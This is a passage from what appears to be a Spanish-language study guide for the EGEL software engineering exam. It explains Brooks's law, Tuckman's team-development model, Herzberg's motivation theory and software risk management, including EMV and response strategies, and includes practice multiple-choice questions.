Para evitar el efecto de anclaje (*Anchoring Effect*) donde la opinión del desarrollador senior sesgue al resto del equipo, ¿qué técnica ágil de estimación debe emplearse?\n- A) Estimación paramétrica COCOMO II detallada.\n- B) Planning Poker con cartas de la secuencia de Fibonacci reveladas simultáneamente por todos los integrantes del equipo.\n- C) Estimación de arriba hacia abajo (*Top-Down*) impuesta por el Scrum Master.\n- D) Conteo estricto de Puntos de Función según el estándar IFPUG.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 4.1.7 de esta subárea).*\n","title":"4.1.2 Estimación de esfuerzo, análisis de costos y gestión de valor ganado (EVM)"},{"children":[],"contentMd":"# Gestión de Personas, Dinámica de Equipos y la Ley de Brooks\n\nA diferencia de las ramas tradicionales de la manufactura o la construcción civil, el desarrollo de software no es un proceso mecánico de ensamblaje; es una **actividad sociotécnica intensiva en intelecto, creatividad y comunicación humana**. La gestión del talento, la resolución de conflictos y el liderazgo determinan con mayor fuerza el éxito o fracaso de un proyecto que las herramientas tecnológicas elegidas. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la formulación formal de la **Ley de Brooks** y la sobrecarga de canales de comunicación, las etapas del **Modelo de Tuckman** para el desarrollo de equipos y las teorías de motivación y liderazgo aplicadas a ingenieros.\n\n---\n\n## 1. La Ley de Brooks y el Mito del Mes-Hombre\n\nEn su obra seminal de 1975 *The Mythical Man-Month*, Frederick Brooks formuló la ley empírica más célebre de la ingeniería de software:\n\u003e *\"Añadir personal a un proyecto de software retrasado lo retrasa aún más (Adding manpower to a late software project makes it later).\"*\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ¿POR QUÉ FALLA AÑADIR PERSONAL?                 │\n│                                                                        │\n│   1. Curva de Inducción (Ramp-up time):                                │\n│      Un nuevo desarrollador requiere semanas para comprender la        │\n│      arquitectura y el dominio del negocio.                            │\n│                                                                        │\n│   2. Desvío de Recursos Senior:                                        │\n│      Para capacitar a los nuevos, los ingenieros más productivos del   │\n│      proyecto deben detener su trabajo de desarrollo, reduciendo la    │\n│      velocidad total neta del equipo temporalmente.                    │\n│                                                                        │\n│   3. Tareas No Divisibles:                                             │\n│      \"El embarazo de un bebé toma 9 meses sin importar cuántas mujeres │\n│       se asignen a la tarea.\" Muchas tareas son estrictamente secuenc. │\n│                                                                        │\n│   4. Explosión Combinatoria de Canales de Comunicación.                │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### El Costo de la Comunicación: La Fórmula de Canales\n\nEl principal freno a la productividad en equipos grandes es la sobrecarga de coordinación. El número de canales de comunicación bidireccionales posibles ($C$) entre $n$ personas en un equipo crece de forma cuadrática:\n\n$$C = \\frac{n(n - 1)}{2}$$\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   CRECIMIENTO DE CANALES DE COMUNICACIÓN               │\n│                                                                        │\n│   Equipo de 4 personas:     C = 4(3)/2 = 6 canales                     │\n│   Equipo de 6 personas:     C = 6(5)/2 = 15 canales                    │\n│   Equipo de 10 personas:    C = 10(9)/2 = 45 canales                   │\n│   Equipo de 20 personas:    C = 20(19)/2 = 190 canales!                │\n└────────────────────────────────────────────────────────────────────────┘\n```\n- **Consecuencia de Diseño Organizacional:** Esta fórmula sustenta por qué marcos ágiles como Scrum y las reglas de diseño organizacional de Amazon (\"Regla de las dos pizzas\") limitan el tamaño de los equipos de desarrollo a un rango óptimo de **$7 \\pm 2$ personas** (o 3 a 9 miembros). Superar este número convierte el tiempo productivo en reuniones interminables de alineación.\n\n---\n\n## 2. El Modelo de Desarrollo de Equipos de Bruce Tuckman\n\nLos equipos de ingeniería de software no alcanzan el alto rendimiento por decreto ni de forma instantánea. Atraviesan un ciclo biológico y psicológico predecible formulado por Bruce Tuckman:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EL MODELO DE TUCKMAN (1965/1977)                │\n│                                                                        │\n│   1. FORMACIÓN   ──▶ 2. TORMENTA   ──▶ 3. NORMALIZACIÓN ──▶ 4. DESEMPEÑO│\n│    (Forming)           (Storming)        (Norming)          (Performing│\n│   Incertidumbre,      Conflicto,         Acuerdos claros,   Sinergia,  │\n│   cortesía y          choque de egos,    cohesión y         autonomía, │\n│   dependencia del     lucha por roles    confianza mutua    máxima     │\n│   líder formal        y arquitectura                        velocidad  │\n│                                                                        │\n│                       5. DISOLUCIÓN (Adjourning):                      │\n│                       Cierre del proyecto, nostalgia y desmovilización │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Fases de Tuckman y el Rol del Líder Técnico\n\n| Fase de Tuckman | Comportamiento Típico del Equipo | Clima Emocional y Conflicto | Rol de Liderazgo Recomendado |\n| :--- | :--- | :--- | :--- |\n| **1. Formación (*Forming*)** | Los integrantes se conocen; predomina la cortesía formal y la prudencia. Hay incertidumbre sobre los objetivos del proyecto y las expectativas individuales. | Bajo conflicto abierto; alta dependencia de instrucciones externas. | **Directivo:** Establecer objetivos claros, definir la visión del proyecto y asignar responsabilidades iniciales. |\n| **2. Tormenta (*Storming*)** | Surgen desacuerdos sobre decisiones técnicas (¿qué framework o arquitectura usar?), estilos de código y reparto de tareas. Lucha por el liderazgo informal y resistencia al control. | **Máximo conflicto y fricción emocional;** riesgo de fragmentación en camarillas si no se gestiona. | **Facilitador / Coach:** Mediar en disputas, canalizar discrepancias hacia criterios técnicos objetivos y fomentar la escucha activa. |\n| **3. Normalización (*Norming*)** | El equipo resuelve los desacuerdos y establece normas consensuadas de trabajo (*Working Agreements*, estándares de Pull Request, definición de terminado). Se genera confianza y respeto mutuo. | El conflicto decrece; surge el sentido de identidad de equipo (\"nosotros\"). | **Participativo / Apoyo:** Fomentar la colaboración, transferir la toma de decisiones al colectivo y reforzar acuerdos. |\n| **4. Desempeño (*Performing*)** | El equipo opera como una unidad sinérgica altamente autónoma. La estructura apoya la productividad; los problemas se diagnostican y resuelven con mínima supervisión externa. | Confianza plena; alta motivación intrínseca; el foco está 100% en la entrega de valor. | **Delegativo:** Remover impedimentos externos de la organización y empoderar al equipo para auto-organizarse. |\n| **5. Disolución (*Adjourning*)** | El proyecto concluye y el equipo se desintegra para reasignarse a nuevos proyectos. | Sentimientos mixtos de satisfacción por el logro alcanzado y duelo o nostalgia por la separación. | **Reconocimiento:** Celebrar el éxito, documentar retrospectivas y facilitar la transición profesional de los integrantes. |\n\n---\n\n## 3. Teorías de Motivación Humana en Ingeniería de Software\n\n### La Teoría Bifactorial de Frederick Herzberg (Higiene vs Motivación)\nHerzberg demostró que la satisfacción y la insatisfacción en el trabajo no son extremos de un mismo continuo, sino dimensiones impulsadas por factores completamente independientes:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        TEORÍA BIFACTORIAL DE HERZBERG                  │\n│                                                                        │\n│   FACTORES HIGIÉNICOS (Extrínsecos):                                   │\n│   • Salario, prestaciones, seguridad contractual, políticas de empresa,│\n│     ergonomía física de la oficina, aire acondicionado.                │\n│   • REGLA CLAVE: Su ausencia genera INSATISFACCIÓN severa.             │\n│     Sin embargo, su presencia óptima NO MOTIVA; solo produce un estado │\n│     de NEUTRALIDAD (no insatisfacción). Pagar más a un programador no  │\n│     hará que ame su código si el trabajo es monótono y alienante.      │\n│                                                                        │\n│   FACTORES MOTIVADORES (Intrínsecos):                                  │\n│   • Logro profesional, reconocimiento del mérito, autonomía técnica,   │\n│     desafíos intelectuales estimulantes, responsabilidad y crecimiento.│\n│   • REGLA CLAVE: Son los ÚNICOS factores que generan verdadera         │\n│     SATISFACCIÓN, compromiso y alto desempeño en profesionales del     │\n│     conocimiento como los ingenieros de software.                      │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 4. Escenarios de Decisión Profesional\n\n### Escenario A: Proyecto de Facturación Retrasado y la Tentación del Gerente\n- **Problema:** A 3 semanas del lanzamiento, el módulo de conexión con el banco tiene un desfase de 10 días. El Gerente General propone: *\"Contratemos a 8 programadores junior de inmediato para asignarlos al equipo y recuperar el tiempo perdido\"*.\n- **Evaluación mediante la Ley de Brooks:**\n  - Los 3 ingenieros senior actuales tendrían que dedicar el 70% de su jornada a capacitar a los 8 nuevos en la arquitectura bancaria (*Ramp-up*).\n  - Los canales de comunicación se dispararían de $\\frac{3(2)}{2} = 3$ canales a $\\frac{11(10)}{2} = 55$ canales.\n  - El proyecto terminaría con un retraso mucho mayor de 4 semanas.\n- **Decisión de Ingeniería:** **Rechazar la incorporación de personal en la fase final**. Las alternativas viables son:\n  1. **Reducir el alcance (Scope Reduction):** Descartar funcionalidades secundarias no esenciales mediante acuerdo con el cliente.\n  2. **Compresión temporal focalizada:** Negociar horas extra remuneradas con el equipo actual existente (*Crashing* limitado) o paralelizar tareas secuenciales asumiendo riesgo de reproceso (*Fast-Tracking*).\n\n### Escenario B: Equipo Ágil Paralizado por Discusiones de Arquitectura\n- **Problema:** En el segundo sprint de un nuevo proyecto, dos desarrolladores senior discuten agresivamente durante las reuniones diarias (*Daily Scrum*) sobre si usar arquitectura hexagonal o arquitectura en capas tradicional, retrasando las tareas y afectando la moral de los programadores junior.\n- **Diagnóstico:** El equipo se encuentra en la **Fase de Tormenta (*Storming*) de Tuckman**.\n- **Decisión del Scrum Master / Líder Técnico:** Intervenir activamente en un rol de facilitador: convocar a una sesión de diseño técnico con criterios de evaluación objetivos (atributos de calidad del sistema, matriz de trade-offs y ADRs), definir democráticamente la arquitectura estándar del equipo y redactar los *Working Agreements* consensuados para transicionar ordenadamente a la **Fase de Normalización (*Norming*)**.\n\n---\n\n## 5. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que duplicar el número de programadores divide el tiempo de desarrollo a la mitad.**\n\u003e El software no es una actividad linealmente particionable. Asumir que \"10 desarrolladores harán en 1 mes lo que 1 desarrollador hace en 10 meses\" es la premisa falaz que da origen al libro *The Mythical Man-Month* y a la Ley de Brooks.\n\n\u003e **Trampa 2: Confundir Factores Higiénicos con Factores Motivadores.**\n\u003e Un reactivo del EGEL puede preguntar: *\"¿Cuál de las siguientes acciones motivará a los ingenieros a mejorar la calidad de su código?\"*. Opciones como *\"Aumentar el salario\"* o *\"Mejorar el aire acondicionado de la oficina\"* son **factores higiénicos** (evitan insatisfacción, pero no motivan el alto desempeño). La respuesta correcta siempre se enfoca en **factores intrínsecos**: otorgar autonomía en la toma de decisiones, desafíos intelectuales o reconocimiento formal del logro.\n\n\u003e **Trampa 3: Asumir que el conflicto en la etapa de Tormenta de Tuckman debe eliminarse despidiendo integrantes.**\n\u003e La fase de Tormenta (*Storming*) es un paso **natural e inevitable** en la maduración de cualquier equipo humano. La labor del líder no es reprimir el conflicto mediante castigos, sino encauzarlo mediante acuerdos explícitos de trabajo para alcanzar la Normalización.\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Pregunta 1\nUn proyecto de software estratégico tiene un equipo base de 5 desarrolladores y se encuentra con dos semanas de retraso respecto a la fecha contractual. Ante la presión del cliente, la gerencia ejecutiva decide incorporar a 5 nuevos programadores externos para duplicar el tamaño del equipo a 10 integrantes. De acuerdo con la Ley de Brooks y el modelo de comunicación humana, ¿qué efecto matemático y operativo provocará esta decisión sobre el proyecto?\n- A) El proyecto terminará exactamente en la mitad del tiempo previsto porque la capacidad de codificación se duplicó.\n- B) El número de canales de comunicación posibles aumentará drásticamente de 10 a 45 canales, y los ingenieros originales perderán tiempo productivo capacitando a los recién llegados, incrementando el retraso del proyecto.\n- C) El número de canales de comunicación se mantendrá idéntico debido al uso de herramientas como Slack.\n- D) Se reducirá la varianza del método PERT a cero días.\n\n### Pregunta 2\nDurante el desarrollo del primer mes de un sistema de telemedicina, los integrantes del equipo manifiestan desacuerdos acalorados sobre la asignación de roles, compiten por el liderazgo técnico y muestran resistencia a seguir las pautas de codificación impuestas por el arquitecto. De acuerdo con el modelo de dinámica de grupos de Bruce Tuckman, ¿en qué etapa de desarrollo se encuentra este equipo y cuál es el estilo de liderazgo recomendado?\n- A) Etapa de Desempeño (*Performing*); liderazgo puramente delegativo.\n- B) Etapa de Disolución (*Adjourning*); liderazgo de reconocimiento y cierre.\n- C) Etapa de Tormenta (*Storming*); liderazgo de facilitación, resolución constructiva de conflictos y mediación para alcanzar acuerdos de trabajo consensuados.\n- D) Etapa de Normalización (*Norming*); liderazgo autoritario unilateral.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 4.1.7 de esta subárea).*\n","title":"4.1.3 Dinámica de equipos de ingeniería, gestión de personas y Ley de Brooks"},{"children":[],"contentMd":"# 4.1.4 Gestión Integral de Riesgos en Proyectos de Software\n\nEn la ingeniería de software, un **riesgo** es un evento o condición incierta que, en caso de ocurrir, tiene un efecto positivo o negativo sobre uno o más objetivos del proyecto (alcance, cronograma, costo o calidad). A diferencia de un **problema** o incidencia (que es un evento determinista ya consumado que exige contención inmediata), el riesgo habita exclusivamente en el dominio de la probabilidad futura.\n\nLa gestión proactiva de riesgos según marcos como **ISO 31000**, el **PMBOK Guide** del PMI y el **SEI CMMI-DEV** (área de proceso RSKM) busca transformar la incertidumbre destructiva en planes de acción cuantificados y controlables.\n\n---\n\n## 1. Taxonomía de Riesgos en Software\n\nPara identificar adecuadamente la incertidumbre en sistemas informáticos, los riesgos se clasifican según su naturaleza y su ámbito de afectación:\n\n```\n                          ┌───────────────────────────┐\n                          │   Riesgos en Software     │\n                          └─────────────┬─────────────┘\n          ┌─────────────────────────────┼─────────────────────────────┐\n          ▼                             ▼                             ▼\n┌───────────────────┐         ┌───────────────────┐         ┌───────────────────┐\n│ Riesgos de        │         │ Riesgos Técnicos  │         │ Riesgos de        │\n│ Proyecto          │         │ o de Producto     │         │ Negocio           │\n├───────────────────┤         ├───────────────────┤         ├───────────────────┤\n│ • Deserción clave │         │ • Falta madurez   │         │ • Entrada de un   │\n│ • Retrasos entregas│        │   del framework   │         │   competidor      │\n│ • Conflictos en el│         │ • Cuellos botella │         │ • Cambios en leyes│\n│   equipo          │         │   de concurrencia │         │   fiscales/datos  │\n│ • Sobrepaso de    │         │ • Vulnerabilidades│         │ • Pérdida de      │\n│   presupuesto     │         │   arquitecturales │         │   patrocinio      │\n└───────────────────┘         └───────────────────┘         └───────────────────┘\n```\n\n1. **Riesgos de Proyecto**: Afectan directamente el cronograma, la asignación de recursos o el presupuesto. Ejemplos: renuncia del arquitecto líder, demora de 4 semanas en la importación de servidores físicos, disputas contractuales entre cliente y proveedor.\n2. **Riesgos Técnicos o de Producto**: Afectan la calidad, el rendimiento, la robustez funcional o la mantenibilidad del software. Ejemplos: que el algoritmo de cifrado no cumpla la latencia exigida (\u003c 50 ms), que el ORM genere consultas ineficientes imposibles de optimizar, que la API externa no soporte el pico de concurrencia proyectado.\n3. **Riesgos de Negocio**: Afectan la viabilidad comercial, adopción o retorno de inversión del producto. Ejemplos: que la regulación financiera cambie antes del lanzamiento prohibiendo el modelo transaccional propuesto, o que el cliente pierda financiamiento institucional.\n\n---\n\n## 2. Técnicas Formales de Identificación de Riesgos\n\nLa identificación de riesgos debe ser continua a lo largo de todo el ciclo de vida:\n\n| Técnica | Mecanismo de Funcionamiento | Fortaleza Clave | Vulnerabilidad o Costo |\n| :--- | :--- | :--- | :--- |\n| **Método Delphi** | Panel de expertos independientes que responden cuestionarios anónimos en rondas iterativas moderadas. | Elimina el sesgo de autoridad (\"efecto halo\") y la presión grupal. | Proceso lento de coordinar; requiere expertos cualificados. |\n| **Checklists / Listas de Verificación Históricas** | Listados de problemas y riesgos recurrentes registrados en lecciones aprendidas de proyectos previos. | Rápido, de bajo costo y previene repetir errores conocidos. | Induce visión de túnel: no detecta riesgos novedosos o tecnológicos emergentes. |\n| **Diagrama de Causa y Efecto (Ishikawa / Fishbone)** | Desglosa un fallo potencial explorando categorías fundamentales (Personas, Procesos, Tecnología, Entorno). | Estructura la búsqueda sistemática de causas raíz en lugar de síntomas superficiales. | Cualitativo; no mide directamente la probabilidad de ocurrencia. |\n| **Análisis de Supuestos y Restricciones** | Cuestionamiento crítico de cada premisa asumida (\"asumimos que la API del cliente tendrá 99.9% de uptime\"). | Descubre riesgos ocultos nacidos del optimismo no validado. | Puede generar fricción política si cuestiona premisas impuestas por stakeholders ejecutivos. |\n\n---\n\n## 3. Análisis Cualitativo: Matriz de Probabilidad e Impacto ($P \\times I$)\n\nEl análisis cualitativo evalúa la prioridad de los riesgos identificados mediante la asignación de una escala ordinal de **Probabilidad ($P$)** y de **Impacto ($I$)**.\n\nAmbas dimensiones suelen ponderarse de $1$ a $5$ (o de Muy Bajo a Muy Alto):\n- **Probabilidad ($P$)**: Qué tan factible es que el evento suceda (ej. 1 = \u003c 10%, 3 = 40-60%, 5 = \u003e 80%).\n- **Impacto ($I$)**: Magnitud del daño si ocurre (ej. 1 = impacto despreciable en costo/tiempo, 5 = paralización total del proyecto o bancarrota contractual).\n\n$$\\text{Puntuación de Severidad} = P \\times I$$\n\n### Matriz de Priorización de Riesgos\n\n| Probabilidad ($P$) | Impacto 1 (Muy Bajo) | Impacto 2 (Bajo) | Impacto 3 (Medio) | Impacto 4 (Alto) | Impacto 5 (Crítico) |\n| :---: | :---: | :---: | :---: | :---: | :---: |\n| **5 (Muy Alta)** | 5 (Medio) | 10 (Medio) | **15 (Alto)** | **20 (Crítico)** | **25 (Crítico)** |\n| **4 (Alta)** | 4 (Bajo) | 8 (Medio) | **12 (Alto)** | **16 (Crítico)** | **20 (Crítico)** |\n| **3 (Media)** | 3 (Bajo) | 6 (Medio) | 9 (Medio) | **12 (Alto)** | **15 (Alto)** |\n| **2 (Baja)** | 2 (Bajo) | 4 (Bajo) | 6 (Medio) | 8 (Medio) | 10 (Medio) |\n| **1 (Muy Baja)** | 1 (Bajo) | 2 (Bajo) | 3 (Bajo) | 4 (Bajo) | 5 (Medio) |\n\n* **Zona Roja (Crítico: 16 - 25)**: Riesgos intolerables. Requieren planes de respuesta obligatorios inmediatos aprobados por la alta dirección.\n* **Zona Amarilla (Alto / Medio: 6 - 15)**: Riesgos a monitorear activamente con acciones de mitigación preventivas.\n* **Zona Verde (Bajo: 1 - 5)**: Riesgos de baja prioridad. Se incorporan a una **lista de supervisión (watch list)** sin invertir presupuesto activo de mitigación preventivo.\n\n---\n\n## 4. Análisis Cuantitativo: Valor Monetario Esperado ($EMV$) y Árboles de Decisión\n\nEl **Valor Monetario Esperado** (*Expected Monetary Value*, $EMV$) traduce la probabilidad y el impacto en una cifra económica tangible. Se utiliza para comparar alternativas estratégicas y calcular reservas de contingencia.\n\n$$\\text{EMV} = P \\times \\text{Impacto Monetario}$$\n\n* Para una **amenaza** (evento negativo), el impacto se expresa en negativo: si $P = 0.30$ y la pérdida estimada es de $-\\$100,000$, el $\\text{EMV} = 0.30 \\times (-\\$100,000) = -\\$30,000$.\n* Para una **oportunidad** (evento positivo), el impacto es positivo: si $P = 0.40$ y el beneficio es de $\\$50,000$, el $\\text{EMV} = 0.40 \\times \\$50,000 = +\\$20,000$.\n\n### Ejemplo en Árbol de Decisión: Construir In-House vs Comprar SaaS\n\nUn banco debe decidir si desarrolla un módulo de validación biométrica internamente o adquiere una licencia anual SaaS de un tercero:\n\n1. **Opción A (Desarrollo In-House)**:\n   * Costo inicial de desarrollo: $\\$60,000$.\n   * Riesgo 1: Complejidad técnica imprevista ($P = 40\\%$, Costo adicional $= \\$50,000$).\n   * Escenario favorable ($P = 60\\%$, Costo adicional $= \\$0$).\n   * $\\text{Costo Esperado A} = \\$60,000 + (0.40 \\times \\$50,000 + 0.60 \\times \\$0) = \\$60,000 + \\$20,000 = \\mathbf{\\$80,000}$.\n\n2. **Opción B (Comprar Licencia SaaS)**:\n   * Costo de licenciamiento e integración: $\\$75,000$.\n   * Riesgo 1: La API del proveedor requiere adaptadores a medida ($P = 20\\%$, Costo adicional $= \\$15,000$).\n   * Escenario favorable ($P = 80\\%$, Costo adicional $= \\$0$).\n   * $\\text{Costo Esperado B} = \\$75,000 + (0.20 \\times \\$15,000 + 0.80 \\times \\$0) = \\$75,000 + \\$3,000 = \\mathbf{\\$78,000}$.\n\n**Decisión Económica Cuantitativa**: La opción SaaS tiene un costo monetario esperado menor ($\\$78,000$ vs $\\$80,000$), protegiendo al proyecto de la alta dispersión de costo del desarrollo interno.\n\n---\n\n## 5. Estrategias de Respuesta ante Amenazas (Riesgos Negativos)\n\nEl PMBOK e ISO 31000 definen 4 estrategias fundamentales para responder a las amenazas de un proyecto. Confundir los límites de estas 4 estrategias es la trampa favorita de CENEVAL EGEL:\n\n```\n                            ┌───────────────────────────────┐\n                            │    Estrategias ante Amenazas   │\n                            └───────────────┬───────────────┘\n            ┌───────────────────┬───────────┴───────────┬───────────────────┐\n            ▼                   ▼                       ▼                   ▼\n    ┌───────────────┐   ┌───────────────┐       ┌───────────────┐   ┌───────────────┐\n    │    EVITAR     │   │    MITIGAR    │       │  TRANSFERIR   │   │    ACEPTAR    │\n    │  (Avoidance)  │   │ (Mitigation)  │       │(Transference) │   │ (Acceptance)  │\n    └───────┬───────┘   └───────┬───────┘       └───────┬───────┘   └───────┬───────┘\n            │                   │                       │                   │\n    Elimina la causa    Reduce P o I            Pasa el impacto a   Asume el riesgo.\n    raíz cambiando      antes de que            un tercero (SLA,    • Pasiva: nada.\n    alcance/diseño      ocurra (PoC, test)      seguro, outsourc)   • Activa: reserva\n```\n\n### Tabla Comparativa de Respuestas ante Riesgos\n\n| Estrategia | Definición Formal | Acción Típica en Software | Ejemplo de Pregunta de Examen |\n| :--- | :--- | :--- | :--- |\n| **Evitar** (*Avoid*) | Modificar el plan de proyecto, alcance o diseño técnico para **eliminar completamente la amenaza** o aislar los objetivos del proyecto de su impacto. La probabilidad de que afecte al proyecto pasa a ser cero. | Eliminar un módulo no esencial de machine learning complejo y reemplazarlo por un motor de reglas determinista conocido. Cambiar de proveedor de nube antes de iniciar el desarrollo para no depender de una región inestable. | *\"El cliente solicita un módulo de reconocimiento facial, pero el equipo carece de experiencia y el plazo es ajustado. El PM acuerda formalmente con el cliente remover dicha funcionalidad del contrato.\"* $\\rightarrow$ **Evitar**. |\n| **Mitigar** (*Mitigate*) | Tomar acciones preventivas tempranas destinadas a **reducir la probabilidad de ocurrencia** y/o la **severidad del impacto** a un umbral tolerable. | Diseñar una Prueba de Concepto (PoC) en la semana 1 para evaluar el rendimiento de una base de datos no relacional desconocida. Implementar suite de pruebas automatizadas y redundancia en servidores. | *\"Ante la incertidumbre sobre la compatibilidad de una librería de terceros, el equipo programa un spike técnico de 3 días para construir un prototipo de validación.\"* $\\rightarrow$ **Mitigar**. |\n| **Transferir** (*Transfer*) | Trasladar el impacto financiero y la responsabilidad de la respuesta del riesgo a un **tercero externo**. No elimina el riesgo técnico; traslada las consecuencias económicas o legales. | Contratar un seguro contra ciberataques; firmar un contrato de precio fijo (*Firm Fixed Price*) con un proveedor externo que incluya penalizaciones por retraso; contratar un servicio administrado con SLA 99.99%. | *\"La empresa contrata una póliza de ciberseguridad que cubre hasta 1 millón de dólares ante posibles filtraciones de bases de datos.\"* $\\rightarrow$ **Transferir**. |\n| **Aceptar** (*Accept*) | Reconocer el riesgo y no tomar acción preventiva para alterar su probabilidad ni impacto, decidiendo afrontarlo si llega a materializarse. Puede ser **pasiva** o **activa**. | **Aceptación Pasiva**: No hacer nada; esperar a ver qué pasa y resolverlo con el equipo disponible (adecuado para riesgos de bajo impacto).\u003cbr\u003e**Aceptación Activa**: Crear una **reserva de contingencia** (buffer de tiempo o dinero) para absorber el impacto si el riesgo detona. | *\"El equipo identifica que el tipo de cambio del dólar podría incrementar el costo de las licencias un 5%, por lo que reservan $5,000 USD en el fondo de contingencia sin cambiar de proveedor.\"* $\\rightarrow$ **Aceptar (Activa)**. |\n\n---\n\n## 6. Monitoreo, Control y Gestión de Reservas\n\n### Disparadores de Riesgo (*Risk Triggers*)\nSon síntomas, métricas o eventos tempranos que alertan de que un riesgo está a punto de ocurrir o ya se ha materializado. Por ejemplo: *\"Si el consumo de memoria del proceso supera el 85% de forma sostenida durante 10 minutos\"* es el disparador para ejecutar el plan de contingencia de balanceo de carga o failover.\n\n### Plan de Mitigación vs Plan de Contingencia\n* **Plan de Mitigación (Plan A - Preventivo)**: Acciones que se ejecutan **antes** de que el riesgo ocurra para bajar la probabilidad de falla (ej. capacitar a los desarrolladores en OWASP Top 10).\n* **Plan de Contingencia (Plan B - Reactivo)**: Acciones predefinidas que se ejecutan **después** de que el disparador indica que el evento ocurrió (ej. restaurar el backup desde la réplica fría si la base de datos principal se corrompe).\n\n### Reserva de Contingencia vs Reserva de Gestión\n\n```\nPresupuesto Total del Proyecto = Línea Base de Costo + Reserva de Gestión\n\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                       PRESUPUESTO TOTAL DEL PROYECTO                        │\n├──────────────────────────────────────────────────────────────┬──────────────┤\n│                   LÍNEA BASE DE COSTO                        │  RESERVA DE  │\n├──────────────────────────────────┬───────────────────────────┤   GESTIÓN    │\n│       Costo de las Actividades    │  RESERVA DE CONTINGENCIA  │  (Unknown -  │\n│   (Estimación de paquetes WBS)   │    (Known - Unknowns)     │   Unknowns)  │\n└──────────────────────────────────┴───────────────────────────┴──────────────┘\n```\n\n1. **Reserva de Contingencia (*Contingency Reserve*)**:\n   * Asignada a los **riesgos identificados** (*Known-Unknowns*) que fueron analizados cualitativa o cuantitativamente.\n   * Forma parte directa de la **Línea Base de Costo y Cronograma**.\n   * Es administrada bajo la autoridad directa del **Líder de Proyecto / Project Manager**.\n   * Se calcula sumando el $EMV$ de los riesgos aceptados activamente.\n\n2. **Reserva de Gestión (*Management Reserve*)**:\n   * Asignada a imprevistos y **riesgos no identificados** (*Unknown-Unknowns*) imposibles de prever (ej. un terremoto destruye el datacenter, huelga general de telecomunicaciones, pandemia global).\n   * **NO** forma parte de la Línea Base de Costo; se suma a esta para constituir el Presupuesto Total.\n   * El Project Manager **no puede gastarla a discreción**; requiere aprobación formal del comité de control de cambios (*Change Control Board*) o alta gerencia mediante solicitud de modificación de línea base.\n\n---\n\n## 7. Trampas Críticas CENEVAL EGEL\n\n1. **Trampa: Creer que la subcontratación o tercerización elimina el riesgo**.\n   * *Realidad*: Tercerizar o contratar a un proveedor con contrato cerrado es **Transferencia**, no Eliminación (*Evitar*). El riesgo técnico o de retraso sigue existiendo; lo que se transfiere es el impacto financiero o contractual. Además, la transferencia suele introducir nuevos riesgos secundarios (ej. dependencia de terceros, pérdida de control de calidad).\n2. **Trampa: Confundir Mitigar con Aceptar Activamente**.\n   * *Realidad*: Si te dicen que el equipo *\"apartó un fondo monetario o una semana extra en el cronograma para absorber el posible retraso si un programador renuncia\"*, eso es **Aceptación Activa** (establecer reserva de contingencia). Mitigar implicaría hacer transferencias de conocimiento, pareo de programación (*pair programming*) o documentación para reducir la probabilidad o impacto de la renuncia *antes* de que ocurra.\n3. **Trampa: Tratar un problema actual como un riesgo**.\n   * *Realidad*: Si el servidor de base de datos *se cayó hoy a las 8:00 AM*, eso ya no es un riesgo; es un **problema / incidencia**. Los riesgos son siempre probabilidades futuras.\n\n---\n\n## 8. Autoevaluación Formativa\n\nPon a prueba tu comprensión con estos reactivos de aplicación profesional:\n\n### Reactivo 1\nDurante la etapa de planificación de una plataforma bancaria, el equipo identifica que la pasarela de pagos del proveedor externo tiene antecedentes de caídas imprevistas de servicio. El arquitecto de software propone implementar un patrón de diseño *Circuit Breaker* acoplado a una cola de mensajes en memoria que almacene temporalmente las transacciones fallidas para reintentarlas de manera asíncrona cuando el servicio del proveedor se restablezca. ¿A qué estrategia de respuesta ante riesgos corresponde la propuesta del arquitecto?\n\nA) Evitar (*Avoidance*)  \nB) Mitigar (*Mitigation*)  \nC) Transferir (*Transference*)  \nD) Aceptar Activa (*Active Acceptance*)  \n\n### Reactivo 2\nUn proyecto de software con un presupuesto base de $120,000 USD identifica tres riesgos durante el análisis cuantitativo:\n1. Retraso en la entrega de APIs por terceros: Probabilidad 30%, Costo de impacto $20,000 USD.\n2. Incompatibilidad de versión en el servidor de base de datos: Probabilidad 20%, Costo de impacto $10,000 USD.\n3. Fallas en la prueba de carga que exijan optimizaciones en el código: Probabilidad 50%, Costo de impacto $14,000 USD.\n\nSi la política de la organización es calcular la Reserva de Contingencia mediante el método del Valor Monetario Esperado ($EMV$), ¿cuál es el monto exacto que debe integrarse a la Línea Base de Costo del proyecto como Reserva de Contingencia?\n\nA) $44,000 USD  \nB) $15,000 USD  \nC) $135,000 USD  \nD) $29,000 USD  \n\n### Reactivo 3\nUn cliente solicita la inclusión de un módulo de inteligencia artificial generativa en su portal de atención a clientes. El Director de Proyecto determina que el equipo de desarrollo no cuenta con experiencia en el ajuste fino de modelos fundacionales (*fine-tuning*) y que un eventual retraso acarrearía multas contractuales severas. Tras negociar formalmente con los directivos del cliente, se decide eliminar completamente el módulo de inteligencia artificial del alcance del proyecto, sustituyéndolo por un flujo de navegación interactivo basado en árboles de decisión preconfigurados. ¿Qué estrategia de gestión de riesgos se aplicó?\n\nA) Mitigación (*Mitigation*)  \nB) Transferencia (*Transference*)  \nC) Evitación (*Avoidance*)  \nD) Aceptación Pasiva (*Passive Acceptance*)  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.1.*\n","title":"4.1.4 Gestión integral de riesgos en software: matriz PxI, EMV y estrategias de respuesta"},{"children":[],"contentMd":"# 4.1.5 Escenarios Profesionales de Toma de Decisiones en Gestión de Tiempos, Costos, Personas y Riesgos\n\nEn el examen CENEVAL EGEL de Ingeniería de Software, las preguntas de mayor nivel taxonómico no se limitan a pedirte una fórmula aislada (como $CPI = EV / AC$ o $V_E = (O + 4M + P)/6$), sino que te presentan un **escenario operativo complejo** con restricciones en conflicto (tiempo, costo, personal, riesgo) donde debes evaluar trade-offs e identificar la intervención 